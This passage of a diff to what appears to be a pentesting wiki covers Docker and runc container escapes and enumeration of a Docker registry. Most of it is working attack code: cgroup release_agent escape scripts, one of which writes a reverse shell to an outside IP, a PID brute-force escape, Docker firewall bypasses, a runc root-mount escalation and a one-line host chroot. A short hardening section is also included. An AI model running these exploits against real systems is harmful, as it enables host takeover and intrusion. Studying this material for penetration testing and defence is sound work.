fptr = fopen(argv[2], "r");
|
||||
while ((read = getline( & line, & len, fptr)) != -1) {
|
||||
write(fd2, line, read);
|
||||
}
|
||||
printf("Success!!\n");
|
||||
close(fd2);
|
||||
close(fd1);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
In order to scape the docker container you could **download** the files `/etc/shadow` and `/etc/passwd` from the host, **add** to them a **new user**, and use **`shocker_write`** to overwrite them. Then, **access** via **ssh**.
|
||||
|
||||
**The code of this technique was copied from the laboratory of "Abusing DAC\_OVERRIDE Capability" from** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com/)\*\*\*\*
|
||||
|
||||
## `--privileged` flag
|
||||
|
||||
{% code title="Initial PoC" %}
|
||||
```bash
|
||||
# spawn a new container to exploit via:
|
||||
# docker run --rm -it --privileged ubuntu bash
|
||||
|
||||
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
|
||||
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
|
||||
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
||||
touch /o;
|
||||
echo $t/c >$d/release_agent;
|
||||
echo "#!/bin/sh $1 >$t/o" >/c;
|
||||
chmod +x /c;
|
||||
sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{% code title="Second PoC" %}
|
||||
```bash
|
||||
# On the host
|
||||
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
|
||||
|
||||
# In the container
|
||||
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
|
||||
|
||||
echo 1 > /tmp/cgrp/x/notify_on_release
|
||||
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
||||
echo "$host_path/cmd" > /tmp/cgrp/release_agent
|
||||
|
||||
#For a normal PoC =================
|
||||
echo '#!/bin/sh' > /cmd
|
||||
echo "ps aux > $host_path/output" >> /cmd
|
||||
chmod a+x /cmd
|
||||
#===================================
|
||||
#Reverse shell
|
||||
echo '#!/bin/bash' > /cmd
|
||||
echo "bash -i >& /dev/tcp/10.10.14.21/9000 0>&1" >> /cmd
|
||||
chmod a+x /cmd
|
||||
#===================================
|
||||
|
||||
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
||||
head /output
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
The `--privileged` flag introduces significant security concerns, and the exploit relies on launching a docker container with it enabled. When using this flag, containers have full access to all devices and lack restrictions from seccomp, AppArmor, and Linux capabilities.
|
||||
|
||||
In fact, `--privileged` provides far more permissions than needed to escape a docker container via this method. In reality, the “only” requirements are:
|
||||
|
||||
1. We must be running as root inside the container
|
||||
2. The container must be run with the `SYS_ADMIN` Linux capability
|
||||
3. The container must lack an AppArmor profile, or otherwise allow the `mount` syscall
|
||||
4. The cgroup v1 virtual filesystem must be mounted read-write inside the container
|
||||
|
||||
The `SYS_ADMIN` capability allows a container to perform the mount syscall \(see [man 7 capabilities](https://linux.die.net/man/7/capabilities)\). [Docker starts containers with a restricted set of capabilities](https://docs.docker.com/engine/security/security/#linux-kernel-capabilities) by default and does not enable the `SYS_ADMIN` capability due to the security risks of doing so.
|
||||
|
||||
Further, Docker [starts containers with the `docker-default` AppArmor](https://docs.docker.com/engine/security/apparmor/#understand-the-policies) policy by default, which [prevents the use of the mount syscall](https://github.com/docker/docker-ce/blob/v18.09.8/components/engine/profiles/apparmor/template.go#L35) even when the container is run with `SYS_ADMIN`.
|
||||
|
||||
A container would be vulnerable to this technique if run with the flags: `--security-opt apparmor=unconfined --cap-add=SYS_ADMIN`
|
||||
|
||||
### Breaking down the proof of concept
|
||||
|
||||
Now that we understand the requirements to use this technique and have refined the proof of concept exploit, let’s walk through it line-by-line to demonstrate how it works.
|
||||
|
||||
To trigger this exploit we need a cgroup where we can create a `release_agent` file and trigger `release_agent` invocation by killing all processes in the cgroup. The easiest way to accomplish that is to mount a cgroup controller and create a child cgroup.
|
||||
|
||||
To do that, we create a `/tmp/cgrp` directory, mount the [RDMA](https://www.kernel.org/doc/Documentation/cgroup-v1/rdma.txt) cgroup controller and create a child cgroup \(named “x” for the purposes of this example\). While every cgroup controller has not been tested, this technique should work with the majority of cgroup controllers.
|
||||
|
||||
If you’re following along and get “mount: /tmp/cgrp: special device cgroup does not exist”, it’s because your setup doesn’t have the RDMA cgroup controller. Change `rdma` to `memory` to fix it. We’re using RDMA because the original PoC was only designed to work with it.
|
||||
|
||||
Note that cgroup controllers are global resources that can be mounted multiple times with different permissions and the changes rendered in one mount will apply to another.
|
||||
|
||||
We can see the “x” child cgroup creation and its directory listing below.
|
||||
|
||||
```text
|
||||
root@b11cf9eab4fd:/# mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
|
||||
root@b11cf9eab4fd:/# ls /tmp/cgrp/
|
||||
cgroup.clone_children cgroup.procs cgroup.sane_behavior notify_on_release release_agent tasks x
|
||||
root@b11cf9eab4fd:/# ls /tmp/cgrp/x
|
||||
cgroup.clone_children cgroup.procs notify_on_release rdma.current rdma.max tasks
|
||||
```
|
||||
|
||||
Next, we enable cgroup notifications on release of the “x” cgroup by writing a 1 to its `notify_on_release` file. We also set the RDMA cgroup release agent to execute a `/cmd` script — which we will later create in the container — by writing the `/cmd` script path on the host to the `release_agent` file. To do it, we’ll grab the container’s path on the host from the `/etc/mtab` file.
|
||||
|
||||
The files we add or modify in the container are present on the host, and it is possible to modify them from both worlds: the path in the container and their path on the host.
|
||||
|
||||
Those operations can be seen below:
|
||||
|
||||
```text
|
||||
root@b11cf9eab4fd:/# echo 1 > /tmp/cgrp/x/notify_on_release
|
||||
root@b11cf9eab4fd:/# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
||||
root@b11cf9eab4fd:/# echo "$host_path/cmd" > /tmp/cgrp/release_agent
|
||||
```
|
||||
|
||||
Note the path to the `/cmd` script, which we are going to create on the host:
|
||||
|
||||
```text
|
||||
root@b11cf9eab4fd:/# cat /tmp/cgrp/release_agent
|
||||
/var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/cmd
|
||||
```
|
||||
|
||||
Now, we create the `/cmd` script such that it will execute the `ps aux` command and save its output into `/output` on the container by specifying the full path of the output file on the host. At the end, we also print the `/cmd` script to see its contents:
|
||||
|
||||
```text
|
||||
root@b11cf9eab4fd:/# echo '#!/bin/sh' > /cmd
|
||||
root@b11cf9eab4fd:/# echo "ps aux > $host_path/output" >> /cmd
|
||||
root@b11cf9eab4fd:/# chmod a+x /cmd
|
||||
root@b11cf9eab4fd:/# cat /cmd
|
||||
#!/bin/sh
|
||||
ps aux > /var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/output
|
||||
```
|
||||
|
||||
Finally, we can execute the attack by spawning a process that immediately ends inside the “x” child cgroup. By creating a `/bin/sh` process and writing its PID to the `cgroup.procs` file in “x” child cgroup directory, the script on the host will execute after `/bin/sh` exits. The output of `ps aux` performed on the host is then saved to the `/output` file inside the container:
|
||||
|
||||
```text
|
||||
root@b11cf9eab4fd:/# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
||||
root@b11cf9eab4fd:/# head /output
|
||||
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
|
||||
root 1 0.1 1.0 17564 10288 ? Ss 13:57 0:01 /sbin/init
|
||||
root 2 0.0 0.0 0 0 ? S 13:57 0:00 [kthreadd]
|
||||
root 3 0.0 0.0 0 0 ? I< 13:57 0:00 [rcu_gp]
|
||||
root 4 0.0 0.0 0 0 ? I< 13:57 0:00 [rcu_par_gp]
|
||||
root 6 0.0 0.0 0 0 ? I< 13:57 0:00 [kworker/0:0H-kblockd]
|
||||
root 8 0.0 0.0 0 0 ? I< 13:57 0:00 [mm_percpu_wq]
|
||||
root 9 0.0 0.0 0 0 ? S 13:57 0:00 [ksoftirqd/0]
|
||||
root 10 0.0 0.0 0 0 ? I 13:57 0:00 [rcu_sched]
|
||||
root 11 0.0 0.0 0 0 ? S 13:57 0:00 [migration/0]
|
||||
```
|
||||
|
||||
## `--privileged` flag v2
|
||||
|
||||
The previous PoCs work fine when the container is configured with a storage-driver which exposes the full host path of the mount point, for example `overlayfs`, however I recently came across a couple of configurations which did not obviously disclose the host file system mount point.
|
||||
|
||||
### Kata Containers
|
||||
|
||||
```text
|
||||
root@container:~$ head -1 /etc/mtab
|
||||
kataShared on / type 9p (rw,dirsync,nodev,relatime,mmap,access=client,trans=virtio)
|
||||
```
|
||||
|
||||
[Kata Containers](https://katacontainers.io/) by default mounts the root fs of a container over `9pfs`. This discloses no information about the location of the container file system in the Kata Containers Virtual Machine.
|
||||
|
||||
\* More on Kata Containers in a future blog post.
|
||||
|
||||
### Device Mapper
|
||||
|
||||
```text
|
||||
root@container:~$ head -1 /etc/mtab
|
||||
/dev/sdc / ext4 rw,relatime,stripe=384 0 0
|
||||
```
|
||||
|
||||
I saw a container with this root mount in a live environment, I believe the container was running with a specific `devicemapper` storage-driver configuration, but at this point I have been unable to replicate this behaviour in a test environment.
|
||||
|
||||
### An Alternative PoC
|
||||
|
||||
Obviously in these cases there is not enough information to identify the path of container files on the host file system, so Felix’s PoC cannot be used as is. However, we can still execute this attack with a little ingenuity.
|
||||
|
||||
The one key piece of information required is the full path, relative to the container host, of a file to execute within the container. Without being able to discern this from mount points within the container we have to look elsewhere.
|
||||
|
||||
#### Proc to the Rescue <a id="proc-to-the-rescue"></a>
|
||||
|
||||
The Linux `/proc` pseudo-filesystem exposes kernel process data structures for all processes running on a system, including those running in different namespaces, for example within a container. This can be shown by running a command in a container and accessing the `/proc` directory of the process on the host:Container
|
||||
|
||||
```bash
|
||||
root@container:~$ sleep 100
|
||||
```
|
||||
|
||||
```bash
|
||||
root@host:~$ ps -eaf | grep sleep
|
||||
root 28936 28909 0 10:11 pts/0 00:00:00 sleep 100
|
||||
root@host:~$ ls -la /proc/`pidof sleep`
|
||||
total 0
|
||||
dr-xr-xr-x 9 root root 0 Nov 19 10:03 .
|
||||
dr-xr-xr-x 430 root root 0 Nov 9 15:41 ..
|
||||
dr-xr-xr-x 2 root root 0 Nov 19 10:04 attr
|
||||
-rw-r--r-- 1 root root 0 Nov 19 10:04 autogroup
|
||||
-r-------- 1 root root 0 Nov 19 10:04 auxv
|
||||
-r--r--r-- 1 root root 0 Nov 19 10:03 cgroup
|
||||
--w------- 1 root root 0 Nov 19 10:04 clear_refs
|
||||
-r--r--r-- 1 root root 0 Nov 19 10:04 cmdline
|
||||
...
|
||||
-rw-r--r-- 1 root root 0 Nov 19 10:29 projid_map
|
||||
lrwxrwxrwx 1 root root 0 Nov 19 10:29 root -> /
|
||||
-rw-r--r-- 1 root root 0 Nov 19 10:29 sched
|
||||
...
|
||||
```
|
||||
|
||||
_As an aside, the `/proc/<pid>/root` data structure is one that confused me for a very long time, I could never understand why having a symbolic link to `/` was useful, until I read the actual definition in the man pages:_
|
||||
|
||||
> /proc/\[pid\]/root
|
||||
>
|
||||
> UNIX and Linux support the idea of a per-process root of the filesystem, set by the chroot\(2\) system call. This file is a symbolic link that points to the process’s root directory, and behaves in the same way as exe, and fd/\*.
|
||||
>
|
||||
> Note however that this file is not merely a symbolic link. It provides the same view of the filesystem \(including namespaces and the set of per-process mounts\) as the process itself.
|
||||
|
||||
The `/proc/<pid>/root` symbolic link can be used as a host relative path to any file within a container:Container
|
||||
|
||||
```bash
|
||||
root@container:~$ echo findme > /findme
|
||||
root@container:~$ sleep 100
|
||||
```
|
||||
|
||||
```bash
|
||||
root@host:~$ cat /proc/`pidof sleep`/root/findme
|
||||
findme
|
||||
```
|
||||
|
||||
This changes the requirement for the attack from knowing the full path, relative to the container host, of a file within the container, to knowing the pid of _any_ process running in the container.
|
||||
|
||||
#### Pid Bashing <a id="pid-bashing"></a>
|
||||
|
||||
This is actually the easy part, process ids in Linux are numerical and assigned sequentially. The `init` process is assigned process id `1` and all subsequent processes are assigned incremental ids. To identify the host process id of a process within a container, a brute force incremental search can be used:Container
|
||||
|
||||
```text
|
||||
root@container:~$ echo findme > /findme
|
||||
root@container:~$ sleep 100
|
||||
```
|
||||
|
||||
Host
|
||||
|
||||
```bash
|
||||
root@host:~$ COUNTER=1
|
||||
root@host:~$ while [ ! -f /proc/${COUNTER}/root/findme ]; do COUNTER=$((${COUNTER} + 1)); done
|
||||
root@host:~$ echo ${COUNTER}
|
||||
7822
|
||||
root@host:~$ cat /proc/${COUNTER}/root/findme
|
||||
findme
|
||||
```
|
||||
|
||||
#### Putting it All Together <a id="putting-it-all-together"></a>
|
||||
|
||||
To complete this attack the brute force technique can be used to guess the pid for the path `/proc/<pid>/root/payload.sh`, with each iteration writing the guessed pid path to the cgroups `release_agent` file, triggering the `release_agent`, and seeing if an output file is created.
|
||||
|
||||
The only caveat with this technique is it is in no way shape or form subtle, and can increase the pid count very high. As no long running processes are kept running this _should_ not cause reliability issues, but don’t quote me on that.
|
||||
|
||||
The below PoC implements these techniques to provide a more generic attack than first presented in Felix’s original PoC for escaping a privileged container using the cgroups `release_agent` functionality:
|
||||
|
||||
```bash
|
||||
#!/bin/sh
|
||||
|
||||
OUTPUT_DIR="/"
|
||||
MAX_PID=65535
|
||||
CGROUP_NAME="xyx"
|
||||
CGROUP_MOUNT="/tmp/cgrp"
|
||||
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
|
||||
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
|
||||
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
|
||||
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"
|
||||
|
||||
# Run a process for which we can search for (not needed in reality, but nice to have)
|
||||
sleep 10000 &
|
||||
|
||||
# Prepare the payload script to execute on the host
|
||||
cat > ${PAYLOAD_PATH} << __EOF__
|
||||
#!/bin/sh
|
||||
|
||||
OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}
|
||||
|
||||
# Commands to run on the host<
|
||||
ps -eaf > \${OUTPATH} 2>&1
|
||||
__EOF__
|
||||
|
||||
# Make the payload script executable
|
||||
chmod a+x ${PAYLOAD_PATH}
|
||||
|
||||
# Set up the cgroup mount using the memory resource cgroup controller
|
||||
mkdir ${CGROUP_MOUNT}
|
||||
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
|
||||
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
|
||||
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release
|
||||
|
||||
# Brute force the host pid until the output path is created, or we run out of guesses
|
||||
TPID=1
|
||||
while [ ! -f ${OUTPUT_PATH} ]
|
||||
do
|
||||
if [ $((${TPID} % 100)) -eq 0 ]
|
||||
then
|
||||
echo "Checking pid ${TPID}"
|
||||
if [ ${TPID} -gt ${MAX_PID} ]
|
||||
then
|
||||
echo "Exiting at ${MAX_PID} :-("
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
# Set the release_agent path to the guessed pid
|
||||
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
|
||||
# Trigger execution of the release_agent
|
||||
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
|
||||
TPID=$((${TPID} + 1))
|
||||
done
|
||||
|
||||
# Wait for and cat the output
|
||||
sleep 1
|
||||
echo "Done! Output:"
|
||||
cat ${OUTPUT_PATH}
|
||||
```
|
||||
|
||||
Executing the PoC within a privileged container should provide output similar to:
|
||||
|
||||
```bash
|
||||
root@container:~$ ./release_agent_pid_brute.sh
|
||||
Checking pid 100
|
||||
Checking pid 200
|
||||
Checking pid 300
|
||||
Checking pid 400
|
||||
Checking pid 500
|
||||
Checking pid 600
|
||||
Checking pid 700
|
||||
Checking pid 800
|
||||
Checking pid 900
|
||||
Checking pid 1000
|
||||
Checking pid 1100
|
||||
Checking pid 1200
|
||||
|
||||
Done! Output:
|
||||
UID PID PPID C STIME TTY TIME CMD
|
||||
root 1 0 0 11:25 ? 00:00:01 /sbin/init
|
||||
root 2 0 0 11:25 ? 00:00:00 [kthreadd]
|
||||
root 3 2 0 11:25 ? 00:00:00 [rcu_gp]
|
||||
root 4 2 0 11:25 ? 00:00:00 [rcu_par_gp]
|
||||
root 5 2 0 11:25 ? 00:00:00 [kworker/0:0-events]
|
||||
root 6 2 0 11:25 ? 00:00:00 [kworker/0:0H-kblockd]
|
||||
root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq]
|
||||
root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
|
||||
...
|
||||
```
|
||||
|
||||
## Docker API Firewall Bypass
|
||||
|
||||
In some occasions, the sysadmin may install some plugins to docker to avoid low privilege users to interact with docker without being able to escalate privileges.
|
||||
|
||||
### disallowed `run --privileged`
|
||||
|
||||
In this case the sysadmin **disallowed users to mount volumes and run containers with the `--privileged` flag** or give any extra capability to the container:
|
||||
|
||||
```bash
|
||||
docker run -d --privileged modified-ubuntu
|
||||
docker: Error response from daemon: authorization denied by plugin customauth: [DOCKER FIREWALL] Specified Privileged option value is Disallowed.
|
||||
See 'docker run --help'.
|
||||
```
|
||||
|
||||
However, a user can **create a shell inside the running container and give it the extra privileges**:
|
||||
|
||||
```bash
|
||||
docker run -d --security-opt "seccomp=unconfined" ubuntu
|
||||
#bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de
|
||||
docker exec -it --privileged bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de bash
|
||||
```
|
||||
|
||||
Now, the user can escape from the container using any of the previously discussed techniques and escalate privileges inside the host.
|
||||
|
||||
### Mount Writable Folder
|
||||
|
||||
In this case the sysadmin **disallowed users to run containers with the `--privileged` flag** or give any extra capability to the container, and he only allowed to mount the `/tmp` folder:
|
||||
|
||||
```bash
|
||||
host> cp /bin/bash /tmp #Cerate a copy of bash
|
||||
host> docker run -it -v /tmp:/host ubuntu:18.04 bash #Mount the /tmp folder of the host and get a shell
|
||||
docker container> chown root:root /host/bash
|
||||
docker container> chmod u+s /host/bash
|
||||
host> /tmp/bash
-p #This will give you a shell as root
|
||||
```
|
||||
|
||||
{% hint style="info" %}
|
||||
Note that maybe you cannot mount the folder `/tmp` but you can mount a **different writable folder**. You can find writable directories using: `find / -writable -type d 2>/dev/null`
|
||||
|
||||
**Note that not all the directories in a linux machine will support the suid bit!** In order to check which directories support the suid bit run `mount | grep -v "nosuid"` For example usually `/dev/shm` , `/run` , `/proc` , `/sys/fs/cgroup` and `/var/lib/lxcfs` don't support the suid bit.
|
||||
|
||||
Note also that if you can **mount `/etc`** or any other folder **containing configuration files**, you may change them from the docker container as root in order to **abuse them in the host** and escalate privileges \(maybe modifying `/etc/shadow`\)
|
||||
{% endhint %}
|
||||
|
||||
### Curl communication
|
||||
|
||||
Apparently it may be possible to **bypass a docker firewall by interacting directly with the docker socket using `curl`**:
|
||||
|
||||
```bash
|
||||
docker version #First, find the API version of docker, 1.40 in this example
|
||||
docker images #List the images available
|
||||
#Then, a container that mounts the root folder of the host
|
||||
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "Binds":["/:/host"]}' http:/v1.40/containers/create
|
||||
docker start f6932bc153ad #Start the created privileged container
|
||||
docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it
|
||||
#You can access the host filesystem
|
||||
```
|
||||
|
||||
|
||||
|
||||
## Use containers securely
|
||||
|
||||
Docker restricts and limits containers by default. Loosening these restrictions may create security issues, even without the full power of the `--privileged` flag. It is important to acknowledge the impact of each additional permission, and limit permissions overall to the minimum necessary.
|
||||
|
||||
To help keep containers secure:
|
||||
|
||||
* Do not use the `--privileged` flag or mount a [Docker socket inside the container](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/). The docker socket allows for spawning containers, so it is an easy way to take full control of the host, for example, by running another container with the `--privileged` flag.
|
||||
* Do not run as root inside the container. Use a [different user](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) or [user namespaces](https://docs.docker.com/engine/security/userns-remap/). The root in the container is the same as on host unless remapped with user namespaces. It is only lightly restricted by, primarily, Linux namespaces, capabilities, and cgroups.
|
||||
* [Drop all capabilities](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) \(`--cap-drop=all`\) and enable only those that are required \(`--cap-add=...`\). Many of workloads don’t need any capabilities and adding them increases the scope of a potential attack.
|
||||
* [Use the “no-new-privileges” security option](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) to prevent processes from gaining more privileges, for example through suid binaries.
|
||||
* [Limit resources available to the container](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources). Resource limits can protect the machine from denial of service attacks.
|
||||
* Adjust [seccomp](https://docs.docker.com/engine/security/seccomp/), [AppArmor](https://docs.docker.com/engine/security/apparmor/) \(or SELinux\) profiles to restrict the actions and syscalls available for the container to the minimum required.
|
||||
* Use [official docker images](https://docs.docker.com/docker-hub/official_images/) or build your own based on them. Don’t inherit or use [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) images.
|
||||
* Regularly rebuild your images to apply security patches. This goes without saying.
|
||||
|
||||
## References
|
||||
|
||||
* [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)
|
||||
* [https://twitter.com/\_fel1x/status/1151487051986087936](https://twitter.com/_fel1x/status/1151487051986087936)
|
||||
* [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)
|
||||
|
|
@ -0,0 +1,40 @@
|
|||
# RunC Privilege Escalation
|
||||
|
||||
## Basic information
|
||||
|
||||
If you want to learn more about **runc** check the following page:
|
||||
|
||||
{% page-ref page="../../pentesting/2375-pentesting-docker.md" %}
|
||||
|
||||
## PE
|
||||
|
||||
If you find that `runc` is installed in the host you may be able to **run a container mounting the root / folder of the host**.
|
||||
|
||||
```bash
|
||||
runc -help #Get help and see if runc is intalled
|
||||
runc spec #This will create the config.json file in your current folder
|
||||
|
||||
Inside the "mounts" section of the create config.json add the following lines:
|
||||
{
|
||||
"type": "bind",
|
||||
"source": "/",
|
||||
"destination": "/",
|
||||
"options": [
|
||||
"rbind",
|
||||
"rw",
|
||||
"rprivate"
|
||||
]
|
||||
},
|
||||
|
||||
#Once you have modified the config.json file, create the folder rootfs in the same directory
|
||||
mkdir rootfs
|
||||
|
||||
# Finally, start the container
|
||||
# The root folder is the one from the host
|
||||
runc run demo
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
|
@ -109,12 +109,53 @@ PORT STATE SERVICE
|
|||
Note that in order to enumerate the docker API you can use the `docker` command or `curl` like in the following example:
|
||||
|
||||
```bash
|
||||
#Using curl
|
||||
curl -s http://open.docker.socket:2375/version | jq #Get version
|
||||
docker -H open.docker.socket:2375 version #Get version
|
||||
{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"19.03.1","Details":{"ApiVersion":"1.40","Arch":"amd64","BuildTime":"2019-07-25T21:19:41.000000000+00:00","Experimental":"false","GitCommit":"74b1e89","GoVersion":"go1.12.5","KernelVersion":"5.0.0-20-generic","MinAPIVersion":"1.12","Os":"linux"}},{"Name":"containerd","Version":"1.2.6","Details":{"GitCommit":"894b81a4b802e4eb2a91d1ce216b8817763c29fb"}},{"Name":"runc","Version":"1.0.0-rc8","Details":{"GitCommit":"425e105d5a03fabd737a126ad93d62a9eeede87f"}},{"Name":"docker-init","Version":"0.18.0","Details":{"GitCommit":"fec3683"}}],"Version":"19.03.1","ApiVersion":"1.40","MinAPIVersion":"1.12","GitCommit":"74b1e89","GoVersion":"go1.12.5","Os":"linux","Arch":"amd64","KernelVersion":"5.0.0-20-generic","BuildTime":"2019-07-25T21:19:41.000000000+00:00"}
|
||||
|
||||
#Using docker
|
||||
docker -H open.docker.socket:2375 version #Get version
|
||||
Client: Docker Engine - Community
|
||||
Version: 19.03.1
|
||||
API version: 1.40
|
||||
Go version: go1.12.5
|
||||
Git commit: 74b1e89
|
||||
Built: Thu Jul 25 21:21:05 2019
|
||||
OS/Arch: linux/amd64
|
||||
Experimental: false
|
||||
|
||||
Server: Docker Engine - Community
|
||||
Engine:
|
||||
Version: 19.03.1
|
||||
API version: 1.40 (minimum version 1.12)
|
||||
Go version: go1.12.5
|
||||
Git commit: 74b1e89
|
||||
Built: Thu Jul 25 21:19:41 2019
|
||||
OS/Arch: linux/amd64
|
||||
Experimental: false
|
||||
containerd:
|
||||
Version: 1.2.6
|
||||
GitCommit: 894b81a4b802e4eb2a91d1ce216b8817763c29fb
|
||||
runc:
|
||||
Version: 1.0.0-rc8
|
||||
GitCommit: 425e105d5a03fabd737a126ad93d62a9eeede87f
|
||||
docker-init:
|
||||
Version: 0.18.0
|
||||
GitCommit: fec3683
|
||||
```
|
||||
|
||||
If you can **contact the remote docker API with the `docker` command** you can **execute** any of the **docker** [**commands previously** commented](2375-pentesting-docker.md#basic-commands) to interest with the service.
|
||||
|
||||
{% hint style="info" %}
|
||||
You can `export DOCKER_HOST="tcp://localhost:2375"` and **avoid** using the `-H` parameter with the docker command
|
||||
{% endhint %}
|
||||
|
||||
#### Fast privilege escalation
|
||||
|
||||
```bash
|
||||
docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
|
||||
```
|
||||
|
||||
#### Curl
|
||||
|
||||
Sometimes you’ll see **2376** up for the **TLS** endpoint. I haven’t been able to connect to it with the docker client but you can with curl no problem to hit the docker API.
|
||||
|
@ -162,7 +203,7 @@ nmap -sV --script "docker-*" -p <PORT> <IP>
|
|||
|
||||
In the following page you can find a way to **scape from a docker container**:
|
||||
|
||||
{% page-ref page="../linux-unix/privilege-escalation/escaping-from-a-docker-container.md" %}
|
||||
{% page-ref page="../linux-unix/privilege-escalation/docker-breakout.md" %}
|
||||
|
||||
Abusing this it's possible to escape form a container, you could run a weak container in the remote machine, escape from it, and compromise the machine:
|
||||
|
||||
|
|
|
@ -0,0 +1,237 @@
|
|||
# 5000 - Pentesting Docker Registry
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Info from** [**here**](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/#:~:text=A%20Docker%20registry%20is%20a,versions%20of%20a%20specific%20image.)**.**
|
||||
|
||||
A **Docker registry** is a storage and distribution system for named Docker images. The same image might have multiple different versions, identified by their tags.
|
||||
A Docker registry is organized into **Docker repositories** , where a repository holds all the versions of a specific image. The registry allows Docker users to pull images locally, as well as push new images to the registry \(given adequate access permissions when applicable\).
|
||||
|
||||
By default, the Docker engine interacts with **DockerHub** , Docker’s public registry instance. However, it is possible to run on-premise the open-source Docker registry/distribution, as well as a commercially supported version called **Docker Trusted Registry** . There are other public registries available online.
|
||||
|
||||
To pull an image from an on-premises registry, you could run a command similar to:
|
||||
|
||||
```text
|
||||
docker pull my-registry:9000/foo/bar:2.1
|
||||
```
|
||||
|
||||
where you pull the version of `foo/bar` image with tag `2.1` from our on-premise registry located at `my-registry` domain, port `9000` .
|
||||
If you used DockerHub instead, and 2.1 was also the latest version, you could run this command to pull the same image locally:
|
||||
|
||||
```text
|
||||
docker pull foo/bar
|
||||
```
|
||||
|
||||
**Default port:** 5000
|
||||
|
||||
```text
|
||||
PORT STATE SERVICE VERSION
|
||||
5000/tcp open http Docker Registry (API: 2.0)
|
||||
```
|
||||
|
||||
## Discovering
|
||||
|
||||
The easiest way to discover this service running is get it on the output of nmap. Anyway, note that as it's a HTTP based service it can be behind HTTP proxies and nmap won't detect it.
|
||||
Some fingerprints:
|
||||
|
||||
* If you access `/` nothing is returned in the response
|
||||
* If you access `/v2/` then `{}` is returned
|
||||
* If you access `/v2/_catalog` you may obtain:
|
||||
* `{"repositories":["alpine","ubuntu"]}`
|
||||
* `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}`
|
||||
|
||||
## Enumeration
|
||||
|
||||
### HTTP/HTTPS
|
||||
|
||||
Docker registry may be configured to use **HTTP** or **HTTPS**. So the first thing you may need to do is **find which one** is being configured:
|
||||
|
||||
```bash
|
||||
curl -s http://10.10.10.10:5000/v2/_catalog
|
||||
#If HTTPS
|
||||
Warning: Binary output can mess up your terminal. Use "--output -" to tell
|
||||
Warning: curl to output it to your terminal anyway, or consider "--output
|
||||
Warning: <FILE>" to save to a file.
|
||||
|
||||
#If HTTP
|
||||
{"repositories":["alpine","ubuntu"]}
|
||||
```
|
||||
|
||||
### Authentication
|
||||
|
||||
Docker registry may also be configured to require **authentication**:
|
||||
|
||||
```bash
|
||||
curl -k https://192.25.197.3:5000/v2/_catalog
|
||||
#If Authentication required
|
||||
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
|
||||
#If no authentication required
|
||||
{"repositories":["alpine","ubuntu"]}
|
||||
```
|
||||
|
||||
If the Docker Registry is requiring authentication you can[ **try to brute force it using this**](../brute-force.md#docker-registry).
|
||||
**If you find valid credentials you will need to use them** to enumerate the registry, in `curl` you can use them like this:
|
||||
|
||||
```bash
|
||||
curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
|
||||
```
|
||||
|
||||
### Enumeration using curl
|
||||
|
||||
